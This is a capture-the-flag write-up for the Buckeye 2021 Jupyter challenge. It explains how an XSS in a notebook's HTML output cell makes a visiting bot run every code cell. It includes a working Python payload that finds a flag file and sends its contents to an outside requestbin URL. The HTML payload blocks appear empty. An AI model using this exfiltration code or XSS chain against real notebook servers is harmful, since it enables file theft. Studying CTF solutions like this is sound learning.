## Solution Summary
Use HTML cell to place XSS on the Jupyter notebook which forces the bot to run
a code cell with Python code that exfiltrates the flag.
## Challenge Analysis
This challenge contains two components: the `app` and the `bot`. The `app` is
a web app that serves a simple file upload for [Jupyter
notebooks](https://jupyter.org/),
which are documents that contain Python code cells and display their output.
This will post it to the `/upload_ipynb` endpoint on the app. The file will be
given a random name ending in `.ipynb` and written to an uploads folder.
The notebook will then be ran with `jupyter trust` and served at the URL
`"{APP_URL}:8888/notebooks/{filename}"`.
The app will then post to the bot's `/visit` endpoint with the URL of the
notebook it is hosting in the body.
Note that only the app server can send requests to this endpoint as it has to
send a secret `BOT_TOKEN` along with it.
When the bot receives a valid URL on this endpoint, it will visit it using
Puppeteer.
After a timeout, it will then call `window.IPython.notebook.close_and_halt()`
to gracefully stop and close the Jupyter notebook that it is viewing.
The app also a contains `run.sh` which immediately moves the file containing
the flag to `/flag_{rand}.txt`, where `rand` is a random hex string.
Our goal therefore is to read this file.
## Solution Walkthrough
Since Jupyter notebooks contain code cells that execute Python code on the
local machine, we should be able to get the flag if the bot runs a code cell
while viewing the Jupyter notebook.
Even though the bot is viewing the notebook, executed code cells will run on
the app, since the app is the server hosting the Jupyter notebook.
This is good because the app has the flag file, not the bot.
I created a new notebook by downloading Jupyter and running `jupyter notebook`
to open my own web enviornment.
I then wrote a simple Python payload in a code cell that exfiltrates the flag.
```python
import urllib
import glob
endpoint = 'https://enbnoedu5p8tj.x.pipedream.net/'
path = "/flag*.txt"
flag = ''
for filename in glob.glob(path):
with open(filename, 'r') as f:
flag = f.readline()
urllib.request.urlopen(endpoint + flag)
```
The purpose of `glob` is to find the flag's filename, since part of the
filename is random.
The content of this file is then read and sent to a server created with
[request.bin](https://requestbin.com/).
This code cell works when the user decides to run it.
However, there is still a problem: when the bot reads the Jupyter notebook, it
doesn't actually run any of the code cells.
I noticed in the bot that `window.IPython.notebook.close_and_halt()` gets
called in order to stop the notebook.
This implies that Jupyter has some Javascript functions that we could possibly
leverage to get the bot to run the code cell.
After some digging, I found that running the Javascript
`IPython.notebook.execute_all_cells()` on the page will run all code cells.
I tried to write a script that would execute only one cell, but I had issues
with this working consistently.
Now all we need is some XSS on our Jupyter notebook page to run this
Javascript.
I found that in Jupyter you can have a code cell output HTML by using the
following syntax in a code cell.
```html
%%html
```
The HTML outputed when this code cell is ran will actually persist even if the
notebook is closed and reopened (as long as you save it beforehand).
This generated HTML could be the perfect place to get some XSS running.
When I tried running my XSS using `script` tags, I sometimes had issues with
the page not running the script or running it at the wrong time.
There are probably many different ways of solving this (I think you can even
edit the notebook's source code directly),
but I decided to just use the quick solution of having an invalid `img`
element that runs my XSS payload via `onerror`.
```html
%%html
```
The purpose of creating the `window.loaded` variable is just so that the
script doesn't keep running itself.
Since I am executing **all** cells, the HTML will be regenerated and the event
will fire again.
This had the desired effect of running all of the cells whenever I opened the
notebook!
Thus all that was left was to upload this to the app server and have the bot
open it for me and send me the flag.
## Solution Source
https://github.com/Nolan1324/CTF-
Writeups/blob/main/buckeye-2021/jupyter/notebook.ipynb
Original writeup (https://github.com/Nolan1324/CTF-
Writeups/blob/main/buckeye-2021/jupyter/README.md).